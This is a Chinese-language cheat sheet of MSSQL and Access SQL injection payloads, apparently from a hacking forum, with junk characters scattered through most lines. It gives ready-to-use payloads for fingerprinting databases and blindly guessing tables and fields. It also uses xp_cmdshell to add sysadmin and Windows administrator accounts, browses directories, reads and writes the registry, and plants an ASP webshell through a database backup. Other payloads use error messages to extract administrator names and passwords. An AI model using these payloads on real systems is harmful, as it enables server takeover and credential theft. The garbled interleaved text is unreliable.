1.判断是否有注入
% q( B/ a: P# D+ B' R3 m;and 1=1
% d; o" f5 Q5 i9 d( n/ x;and 1=2
+ ~+ K3 x6 x; u( F# R
/ d% ~. u, j" v6 y" _2.初步判断是否是mssql 4 q1 ~' u! o; m1 k2 s) ~3 e
;and user>0
: d( x2 [5 B, Q- w" r w7 X$ |" e& a! b0 L
3.判断数据库系统
# E7 e& l/ ]5 x% n; }" X;and (select count(*) from sysobjects)>0 mssql
! Y8 m m( Y3 L2 @# d, i;and (select count(*) from msysobjects)>0 access ' o! k' C+ l7 A8 I$ O+ O
( Z! p6 y3 h) Q+ K5 |
4.注入参数是字符 0 U. [4 T c% k5 F7 ]; @' G
'and [查询条件] and ''='
/ B7 V i- j" _/ p- Y' e+ ]
' R9 a! ]) _2 \1 C) w" U5.搜索时没过滤参数的
4 l' }) X% ~# K. h'and [查询条件] and '%25'=' % v/ K" r) k3 T M" U9 a4 q& \ x
+ g# Z8 Z( H' R% }
6.猜数表名 / t* ?4 `5 ?3 J6 ^
;and (select Count(*) from [表名])>0 1 v8 t$ N3 `+ W3 I# c2 w/ b. A
+ ~/ Y8 D6 b9 b7 K7.猜字段 - Y( }" R4 d6 `8 Z# ]- d4 Z% {
;and (select Count(字段名) from 表名)>0 " d! P# ?$ @8 x) D
# X& S4 ~8 M6 @ W- C0 ?8.猜字段中记录长度 4 \8 B& }! T( h5 ?% {
;and (select top 1 len(字段名) from 表名)>0 , u; z( T5 u+ N1 F% f8 [# t
- f0 S: c8 i6 y
9.(1)猜字段的ascii值(access) * `' y4 N4 f, [8 {7 K# w
;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0 8 t/ f5 g" v+ R6 _& Q
, b' T6 G0 u% A
(2)猜字段的ascii值(mssql)
: a, e9 V3 N. h$ ^( j;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0 , u/ E+ z0 A$ Q& R {, Q$ u/ @
) J+ _" |& _2 Q, Y/ d; i) |10.测试权限结构(mssql) , x! ^- g# N6 H2 T: F
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- . X. d; Z+ g; R* @
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
# q1 M" A! B8 z, K. F+ H& M;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
% F# i/ p2 o4 x& ?" m$ u;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
/ v3 E4 E! n% q- t& l;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
/ x* g; T; h$ N7 v5 P5 L( n f;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
! |0 r \% c1 i3 W |;and 1=(select IS_MEMBER('db_owner'));-- ; \, N0 J x( b. _- ~0 c* {: G
m9 e( T- S V' V. H. Q9 n W. `" N11.添加mssql和系统的帐户
; d1 A2 |( A! l: D" R;exec master.dbo.sp_addlogin username;-- % K8 P0 L8 d8 `1 m
;exec master.dbo.sp_password null,username,password;--
& t. I) D, {8 e1 ?% n;exec master.dbo.sp_addsrvrolemember sysadmin username;-- & M5 m. Q. |) C0 O5 L/ ]
;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
/ ^7 a; J! i, A3 E5 O6 R, u;exec master.dbo.xp_cmdshell 'net user username password /add';-- * U( G3 X7 }5 S6 P
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
3 {! W1 D2 @3 J5 b$ z- _
2 S% Y; L) A/ ]12.(1)遍历目录 - i1 w K- _1 B$ {; l2 Z+ K- c
;create table dirs(paths varchar(100), id int)
* ^8 Y' Z+ d6 Y& Q Z4 r;insert dirs exec master.dbo.xp_dirtree 'c:\'
1 s/ |$ L3 W0 B4 H$ \;and (select top 1 paths from dirs)>0 $ o" c. h7 T* n0 m& r
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
# ~8 M7 {, q" l) U% [5 t' t# L' m! h/ u, p
(2)遍历目录
, t% S. H6 Z! u6 q) v& p( B;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- ; i( Y/ X: B" r$ a: z. P
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 ! }8 d/ W# t8 c; M! l& N
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
7 G$ _# P7 w5 O( n+ H! H5 q+ y: l& ~;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构 1 B, _* b* U) E* N
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 ( f, Y7 ^' F. Y
9 j1 {. p6 m* N7 ` j; y4 V$ I13.mssql中的存储过程
& N g7 U' b* b/ r7 U. w Txp_regenumvalues 注册表根键, 子键
9 N \* d$ ~, a* };exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 8 g8 z7 ?/ j. q2 k0 S Q/ J' l1 g
xp_regread 根键,子键,键值名 + i( P; E- F0 V# p! w' ^2 y+ }
;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
# r1 m' q8 ^2 T: c/ v( Sxp_regwrite 根键,子键, 值名, 值类型, 值 & H; L' B/ e, {9 ~% J) X3 Y7 K
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
% x4 L9 [: e9 c; };exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表 ( c) S8 f5 H1 F% u, V
xp_regdeletevalue 根键,子键,值名
) a4 E7 p/ t$ H6 c; @2 Z: iexec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值
8 }6 I5 u1 G4 P! P# G! s) ^; C- pxp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
' A% z5 e) U5 ^! v* [6 R9 o9 f0 H/ p: K0 ~3 |+ @/ k
14.mssql的backup创建webshell
& [+ y4 S! u9 @use model 8 C' e7 z- a8 f6 O( H8 V1 n
create table cmd(str image);
# U; j$ T! w, d0 c, Ginsert into cmd(str) values ('<% Dim oScript %>');
, [1 Q) w8 T: T! E! ~backup database model to disk='c:\l.asp';
1 l" w7 v; c( `" I8 a* {! u$ [ A _& S1 E& C1 C) i2 ]: l" F* H
15.mssql内置函数
) w' S$ w! @; u$ ?. z4 D1 Y;and (select @@version)>0 获得Windows的版本号
6 b# \! V5 j) O+ g- _" W) \;and user_name()='dbo' 判断当前系统的连接用户是不是sa ' L" y9 g$ m9 n& d
;and (select user_name())>0 爆当前系统的连接用户
* b8 H7 t0 U+ D* U. b0 K' I" y$ K6 ?;and (select db_name())>0 得到当前连接的数据库 " e# p; [4 z" ^; p ^- R9 i/ ?- d
. r* i& Z" J# y% ` J! u" I9 H5 Q" t2 c2 w0 k
. |* _& v- Q# l0 [( \
MSSQL手注暴库$ H3 l% Y% J( S, m) z, l. K7 w
: U& j8 |' X% @$ `$ y9 R1.暴出当前表名和列名0 Q/ U' c8 Z) [2 p1 O3 e$ m
在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。
% d+ Q* `% ]- a- `/ B$ r1 N6 z! \# I; e& T0 A1 H% ?
第一.爆出所有数据库名
2 |, \7 g; c+ {9 [利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。
$ A# i3 ^/ t0 A- a6 R/ ?第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。
" g7 h/ |1 V6 e: N& g* ~8 F& p% V! t* p" \( O
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])-- 修改N从6开始爆出所有数据库名
; u. R9 {. D# W2 V) t
& }0 K4 d/ [- @: @. [2 m& W) Q/ V2 E8 D2 q2 J/ ]
第二.爆出指定库中的所有表名/ n' ^2 C/ i. x' `5 y5 [4 Q% c' P
得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。" d+ T- \9 P e9 d/ L
再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。8 {# i; j/ {& W3 J2 T
7 ]) P0 W; A1 P0 |) ^$ o
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--
4 k' S9 M2 ?7 W' A qand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--
- d% ~1 x$ z0 T9 u( n/ `2 `3 Cand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--
4 e( I$ _# k# r" Y
; Y& \% u) [& n# Z. d* s4.爆出指定表中的所有列名
8 x" K4 Z6 r! X3 h, i) Cand 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id)))
; T, h0 L; A9 a, e/ }: c. `9 x//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421 name='表名'
) m; n6 x) z, C& ?2 Z0 ~* l
* |9 s: w; S+ J8 Sand 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)-- 爆出admin表中的一个字段名
. X7 W/ I9 F6 ]% W% ^$ s+ \7 V) e2 G; _0 ]
再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))--
0 C" S- `( q c$ V8 r: X# v0 Z依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。
! o$ u% E! c; |8 _! v% G: c/ z* l
3 R7 P7 s' Y. j7 J- {8 h
and 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))-- 爆出要爆字段的表名id值
& r: Y1 |: B I# M6 Z/ L" i4 d* N
p6 Y5 K, q9 ~) Z8 q* }and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名6 z8 v2 m' ~( b9 {
2 ~" a$ U L8 X/ P/ u8 v
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))--
. c# _4 u" C7 h
8 r' Z! }# w! E+ S& Y9 I- J# l3 u) t
6 P l" l! Z: B$ v2 C
5.读取指定表中的数据
# E7 x9 w5 Y, e1 ~5 Y! S- o% D s" R$ z
and 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容 ; H9 ?8 D+ _" b% s) ]
) F* _- E- ~& `, W
and 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--
6 K" c, o/ E; y# M% q2 J
3 a$ J. }0 Q, D# x: pand 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码- B7 B6 e5 b. Y2 ?" `
" C) C6 t, d! `% O9 u1 a. O
! i& Y% Y4 H- T: O# L( l# I% }+ Wand 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)-- 爆出id<>1的管理员名字(fuhao)0 G. F7 {; ?. A4 G+ c1 N7 G
) U& M* a8 P0 jand 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang) ^9 r6 d/ I* s. `, C
' u9 u6 Z9 ~! z+ f0 c/ X$ ?3 i$ h: _and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--- D; }: R' V9 ~0 R
% ?2 Y" K% x9 ^
知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。
6 P; q. b, L! o# C" e& q& j& U, l |